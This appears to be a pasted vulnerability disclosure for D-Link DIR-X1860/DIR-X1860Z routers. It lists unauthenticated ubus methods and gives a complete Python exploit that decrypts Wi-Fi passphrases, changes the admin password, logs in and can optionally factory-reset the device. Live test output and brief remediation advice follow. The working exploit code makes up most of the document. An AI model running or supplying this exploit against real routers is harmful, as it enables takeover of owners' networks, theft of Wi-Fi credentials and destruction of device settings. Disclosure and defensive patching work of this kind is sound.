djzzlim

D-Link DIR-X1860 / DIR-X1860Z - Unauthenticated Admin Password Change (Takeover)

Aug 25th, 2026 (edited)
666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.21 KB | Cybersecurity | 0 0
  1. ================================================================================
  2. D-Link DIR-X1860 / DIR-X1860Z - Unauthenticated Admin Password Change (Takeover)
  3. ================================================================================
  4.  
  5. AFFECTED COMPONENT
  6. ------------------
  7. Service: uhttpd / ubus JSON-RPC
  8. Endpoint: http://<router-LAN-IP>:23355/ubus
  9. Object: routerd
  10. Method: passwd_set
  11. Parameter: pwd (AES-128-CBC encrypted, key from routerd.get_rand_key,
  12. hard-coded IV "[email protected]")
  13.  
  14. VULNERABLE ACL MAPPING (confirmed via session.access oracle, live device)
  15. -------------------------------------------------------------------------
  16. routerd.passwd_set -> access = true [CRITICAL - should be false]
  17. routerd.wificfg_set -> access = true
  18. routerd.wificfg_get -> access = true
  19. routerd.wan_config_set -> access = true
  20. routerd.wan_ipv6_config_set -> access = true
  21. routerd.easymesh_set -> access = true
  22. routerd.elink_set -> access = true
  23. routerd.set_timezone -> access = true
  24. routerd.customer_info -> access = true
  25. routerd.param_status -> access = true
  26. routerd.get_wan_type -> access = true
  27. routerd.get_rand_key -> access = true
  28. routerd.login -> access = true
  29. session.access -> access = true
  30.  
  31. Correctly protected (return access=false or error -32002):
  32. routerd.info, routerd.devinfo_get, routerd.wan_config_get,
  33. routerd.factory, system.set_telnet, system.reboot, session.login
  34.  
  35. PROOF OF CONCEPT
  36. ----------------
  37. Requirements: Python 3, pycryptodome (pip install pycryptodome)
  38. Usage:
  39. python3 poc.py verify # ACL check only (read-only)
  40. python3 poc.py psk # dump Wi-Fi PSKs (read-only)
  41. python3 poc.py takeover --new-pass <PASSWORD> # DESTRUCTIVE
  42.  
  43. ----------------------------------------------------------------------
  44. #!/usr/bin/env python3
  45. # D-Link DIR-X1860 / DIR-X1860Z - Unauthenticated Admin Takeover PoC
  46. # For coordinated disclosure purposes only.
  47. # Do NOT run against devices you do not own or have explicit permission to test.
  48.  
  49. import argparse
  50. import json
  51. import sys
  52. import urllib.request
  53.  
  54. try:
  55. from Crypto.Cipher import AES
  56. except ImportError:
  57. sys.exit("pycryptodome required: pip install pycryptodome")
  58.  
  59. DEFAULT_URL = "http://192.168.0.1:23355/ubus"
  60. DEFAULT_TOK = "00000000000000000000000000000000" # hard-coded default session token
  61. IV = b"[email protected]" # hard-coded AES-CBC IV in firmware
  62.  
  63. # Methods confirmed reachable with the unauthenticated token (ACL oracle, live).
  64. UNAUTH_ALLOWED = [
  65. ("routerd", "passwd_set"), # CRITICAL: change admin password
  66. ("routerd", "wificfg_set"), # change SSID / WPA passphrase
  67. ("routerd", "wificfg_get"), # read wireless config (incl. encrypted PSK)
  68. ("routerd", "wan_config_set"), # change WAN gateway / DNS
  69. ("routerd", "wan_ipv6_config_set"),
  70. ("routerd", "easymesh_set"),
  71. ("routerd", "elink_set"),
  72. ("routerd", "set_timezone"),
  73. ("routerd", "customer_info"),
  74. ("routerd", "param_status"),
  75. ("routerd", "get_wan_type"),
  76. ("routerd", "get_rand_key"), # returns AES key material (unauthenticated)
  77. ("routerd", "login"),
  78. ("session", "access"), # the ACL oracle itself
  79. ]
  80.  
  81. # Correctly protected methods (expect access=false / error -32002).
  82. PROTECTED = [
  83. ("routerd", "info"),
  84. ("routerd", "devinfo_get"),
  85. ("routerd", "wan_config_get"),
  86. ("routerd", "factory"),
  87. ("system", "set_telnet"),
  88. ("system", "reboot"),
  89. ("session", "login"),
  90. ]
  91.  
  92.  
  93. def ubus(obj, method, params=None, tok=DEFAULT_TOK, url=DEFAULT_URL, timeout=8):
  94. body = {"jsonrpc": "2.0", "method": "call",
  95. "params": [tok, obj, method, params or {}], "id": 1}
  96. req = urllib.request.Request(url, data=json.dumps(body).encode(),
  97. headers={"Content-Type": "application/json"})
  98. with urllib.request.urlopen(req, timeout=timeout) as r:
  99. return json.loads(r.read().decode())
  100.  
  101.  
  102. def ok(resp):
  103. return (isinstance(resp.get("result"), list)
  104. and len(resp["result"]) > 0 and resp["result"][0] == 0)
  105.  
  106.  
  107. def get_rand_key(key_index=None, url=DEFAULT_URL):
  108. """Unauthenticated key fetch.
  109. rand_key format: key_index(32 hex) || AES-128 key(32 hex)
  110. Note: keys rotate — fetch wificfg_get first, then fetch each index
  111. immediately. Avoid interleaved no-arg calls."""
  112. params = {"key_index": key_index} if key_index else {}
  113. r = ubus("routerd", "get_rand_key", params, url=url)
  114. if not (r.get("result") and len(r["result"]) > 1):
  115. sys.exit(f"[!] get_rand_key failed (key rotated?): {json.dumps(r)}")
  116. rk = r["result"][1]["rand_key"]
  117. if len(rk) < 64:
  118. sys.exit(f"[!] unexpected rand_key length {len(rk)}: {rk!r}")
  119. return rk[:32], bytes.fromhex(rk[32:])
  120.  
  121.  
  122. def enc(pw, url=DEFAULT_URL):
  123. """Encrypt password: key_index || AES-128-CBC(pkcs7(pw))"""
  124. ki, key = get_rand_key(url=url)
  125. pad = 16 - (len(pw) % 16)
  126. data = pw.encode() + bytes([pad]) * pad
  127. return ki + AES.new(key, AES.MODE_CBC, IV).encrypt(data).hex()
  128.  
  129.  
  130. def dec(payload_hex, key=None, url=DEFAULT_URL):
  131. """Decrypt a key_index || ciphertext blob (e.g. from wificfg_get)."""
  132. if key is None:
  133. _, key = get_rand_key(payload_hex[:32], url=url)
  134. pt = AES.new(key, AES.MODE_CBC, IV).decrypt(bytes.fromhex(payload_hex[32:]))
  135. pad = pt[-1]
  136. if not 1 <= pad <= 16:
  137. sys.exit(f"[!] bad padding byte {pad} — wrong key/IV?")
  138. return pt[:-pad].decode(errors="replace")
  139.  
  140.  
  141. def acl_oracle(obj, m, url=DEFAULT_URL):
  142. r = ubus("session", "access",
  143. {"scope": "ubus", "object": obj, "function": m}, url=url)
  144. if not ok(r) or len(r["result"]) < 2:
  145. return "denied/error"
  146. return r["result"][1].get("access")
  147.  
  148.  
  149. def cmd_verify(args):
  150. print(f"[*] ACL oracle @ {args.url} (token {DEFAULT_TOK})")
  151. print(f" {'object.method':<28} {'unauth access'}")
  152. print(" " + "-" * 50)
  153. for obj, m in UNAUTH_ALLOWED:
  154. allowed = acl_oracle(obj, m, url=args.url)
  155. star = " <-- VULN" if allowed is True else ""
  156. print(f" {obj + '.' + m:<28} {allowed}{star}")
  157. print(f"\n[*] Protected methods (expect false/denied):")
  158. for obj, m in PROTECTED:
  159. allowed = acl_oracle(obj, m, url=args.url)
  160. print(f" {obj + '.' + m:<28} {allowed}")
  161.  
  162.  
  163. def cmd_psk(args):
  164. print(f"[*] Unauthenticated WPA PSK disclosure @ {args.url}")
  165. print(" [i] keys rotate: wificfg_get first, then each key fetched immediately")
  166. r = ubus("routerd", "wificfg_get", {"section": "2.4g"}, url=args.url)
  167. if not ok(r):
  168. sys.exit(f"[!] wificfg_get failed: {json.dumps(r)}")
  169. cache = {}
  170.  
  171. def key_for(idx):
  172. if idx not in cache:
  173. _, cache[idx] = get_rand_key(idx, url=args.url)
  174. return cache[idx]
  175.  
  176. for band in ("2G", "5G"):
  177. vals = r["result"][1].get(band, {}).get("values", {})
  178. for n in range(1, 5):
  179. if str(vals.get(f"Enable{n}")) != "1":
  180. continue
  181. ssid = vals.get(f"SSID{n}", "?")
  182. auth = vals.get(f"AuthMode{n}", "?")
  183. blob = vals.get(f"Passwd{n}")
  184. if not blob:
  185. continue
  186. try:
  187. pw = dec(blob, key=key_for(blob[:32]), url=args.url)
  188. except Exception as e:
  189. pw = f"(decrypt failed: {e})"
  190. print(f" [{band}] SSID {ssid!r} ({auth}): PSK {pw!r}")
  191.  
  192.  
  193. def cmd_takeover(args):
  194. pw = args.new_pass
  195. if len(pw) < 8:
  196. sys.exit("[!] --new-pass should be >= 8 chars (router password policy)")
  197.  
  198. print(f"[*] (1/3) unauthenticated password change (admin -> {pw!r})")
  199. r = ubus("routerd", "passwd_set",
  200. {"user": "admin", "pwd": enc(pw, url=args.url)}, url=args.url)
  201. if not ok(r):
  202. sys.exit(f"[!] passwd_set failed: {json.dumps(r)}")
  203. print(" [ok] passwd_set accepted")
  204.  
  205. print("[*] (2/3) login with the new password")
  206. r = ubus("routerd", "login",
  207. {"username": "admin", "password": enc(pw, url=args.url)}, url=args.url)
  208. if not ok(r):
  209. sys.exit(f"[!] login failed: {json.dumps(r)}")
  210. sess = r["result"][1]["ubus_rpc_session"]
  211. print(f" [ok] ubus_rpc_session: {sess}")
  212.  
  213. print("[*] (3/3) post-auth administrative calls")
  214. for obj, m in (("routerd", "devinfo_get"), ("routerd", "wan_config_get")):
  215. rr = ubus(obj, m, {}, tok=sess, url=args.url)
  216. if ok(rr):
  217. print(f" {obj}.{m}:")
  218. print(" " + json.dumps(rr["result"][1], indent=2)
  219. .replace("\n", "\n "))
  220. else:
  221. print(f" {obj}.{m}: {json.dumps(rr)}")
  222.  
  223. print(f"\n[*] Full admin session obtained: {sess}")
  224. print(f" ubus('routerd', 'wificfg_set', {{...}}, tok='{sess}')")
  225. if args.factory_reset:
  226. print("[!] --factory-reset: sending routerd.factory")
  227. ubus("routerd", "factory", {}, tok=sess, url=args.url)
  228.  
  229.  
  230. def main():
  231. ap = argparse.ArgumentParser(
  232. description="D-Link DIR-X1860Z unauthenticated admin takeover PoC",
  233. epilog="'takeover' is DESTRUCTIVE: it changes the admin password.")
  234. ap.add_argument("--url", default=DEFAULT_URL,
  235. help=f"ubus endpoint (default {DEFAULT_URL})")
  236. sub = ap.add_subparsers(dest="cmd", required=True)
  237.  
  238. p = sub.add_parser("verify", help="ACL oracle check (read-only)")
  239. p.set_defaults(fn=cmd_verify)
  240.  
  241. p = sub.add_parser("psk", help="dump both WPA PSKs (read-only)")
  242. p.set_defaults(fn=cmd_psk)
  243.  
  244. p = sub.add_parser("takeover", help="password change + admin session (DESTRUCTIVE)")
  245. p.add_argument("--new-pass", required=True, help="new admin password to set")
  246. p.add_argument("--factory-reset", action="store_true",
  247. help="also factory-reset device after takeover")
  248. p.set_defaults(fn=cmd_takeover)
  249.  
  250. args = ap.parse_args()
  251. args.fn(args)
  252.  
  253.  
  254. if __name__ == "__main__":
  255. main()
  256. ----------------------------------------------------------------------
  257.  
  258. LIVE TEST OUTPUT (2026-08-20, sanitized)
  259. -----------------------------------------
  260. 2026-08-20T14:06:06Z psk
  261. [*] Unauthenticated WPA PSK disclosure @ http://192.168.0.1:23355/ubus
  262. [i] keys rotate: wificfg_get first, then each key fetched immediately
  263. [2G] SSID 'Test 2.4G' (WPA2PSKWPA3PSK): PSK '<plaintext WPA passphrase recovered>'
  264. [5G] SSID 'Test 5G' (WPA2PSKWPA3PSK): PSK '<plaintext WPA passphrase recovered>'
  265.  
  266. 2026-08-20T14:06:06Z takeover
  267. [*] (1/3) unauthenticated password change (admin -> 'test-new-password')
  268. [ok] passwd_set accepted
  269. [*] (2/3) login with the new password
  270. [ok] ubus_rpc_session: <redacted-session-token>
  271. [*] (3/3) post-auth administrative calls
  272. routerd.devinfo_get:
  273. {
  274. "Mac": "A4:2A:95:XX:XX:XX",
  275. "Vendor": "DLink",
  276. "Model": "DIR-X1860Z",
  277. "SwVersion": "V1.0.2.220120.165402",
  278. "HdVersion": "V1.0",
  279. "SN": "NE001M2XXXXXX",
  280. "IpAddr": "192.168.0.1",
  281. "Wireless": "no",
  282. "DualBand": "yes",
  283. "WorkMode": "router",
  284. "RunTime": 424463
  285. }
  286. routerd.wan_config_get:
  287. {
  288. "proto": "dhcp",
  289. "defaultmac": "A4:2A:95:XX:XX:XX",
  290. "macaddr": "A4:2A:95:XX:XX:XX",
  291. "mtu": 1500,
  292. "mode": "nat",
  293. "username": "",
  294. "password": "<AES-CBC encrypted WAN credential — decryptable via get_rand_key>",
  295. "dns1": "<upstream DNS IP>"
  296. }
  297.  
  298. [*] Full admin session obtained: <redacted-session-token>
  299.  
  300. === Persistence re-check (independent fresh login, same session) ===
  301. login('test-new-password') -> result [0, ubus_rpc_session <token>] (accepted)
  302. login('<wrong-password>') -> result [6] (rejected)
  303.  
  304. REMEDIATION
  305. -----------
  306. Primary:
  307. Upgrade firmware to V1.0.7.260821.161908 or later.
  308. D-Link advisories: https://supportannouncement.us.dlink.com/security/
  309.  
  310. Compensating controls (if immediate patching is not possible):
  311. 1. Isolate TCP port 23355 from untrusted LAN segments
  312. (guest Wi-Fi SSID, IoT VLANs) using firewall rules.
  313. 2. Rotate the admin password and Wi-Fi WPA passphrases.
  314. 3. Disable WAN-facing remote management.
  315.  
Tags: CVE
Advertisement
Add Comment
Please, Sign In to add comment